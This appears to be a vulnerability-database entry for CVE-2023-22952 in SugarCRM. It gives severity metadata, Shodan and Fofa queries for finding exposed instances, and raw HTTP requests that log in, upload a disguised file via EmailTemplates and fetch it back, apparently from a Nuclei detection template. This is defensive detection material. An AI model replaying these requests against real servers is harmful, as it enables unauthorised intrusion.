| Title | SugarCRM Unauthenticated - Remote Code Execution |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Authenticated attackers can inject custom PHP code through EmailTemplates to execute arbitrary commands on the SugarCRM server, potentially compromising customer relationship data and business intelligence information. |
| Remediation | Update SugarCRM to version 12.0 Hotfix 91155 or later that implements proper input validation for EmailTemplates. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93075 |
| CVE ID | CVE-2023-22952 |
| CWE ID | CWE-20,CWE-94 |
| Shodan Query | http.html:"sugarcrm inc. all rights reserved"http.title:"sugar setup wizard"http.title:"sugarcrm" |
| Fofa Query | body="sugarcrm inc. all rights reserved"title="sugar setup wizard"title=sugarcrm |
| Tags | cve cve2023 sugarcrm rce file-upload intrusive kev vkev vuln |
In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Length: 535
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
Accept-Encoding: gzip
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="action"
AttachFiles
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="module"
EmailTemplates
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="file"; filename="38Eu35MxRk1NaHOCFsRpOR4TnEA.txt"
Content-Type: image/png
�PNG
IHDR ���� PLTECVE-2023-22952 ;��� pHYs � ��+ IDAT�c` Fe* � eU�� IEND�B`�
------WebKitFormBoundaryWeTJtA8WByYIQMGR--
GET /cache/images/38Eu35MxRk1NaHOCFsRpOR4TnEA.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22952.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22952.pcap
N/AN/A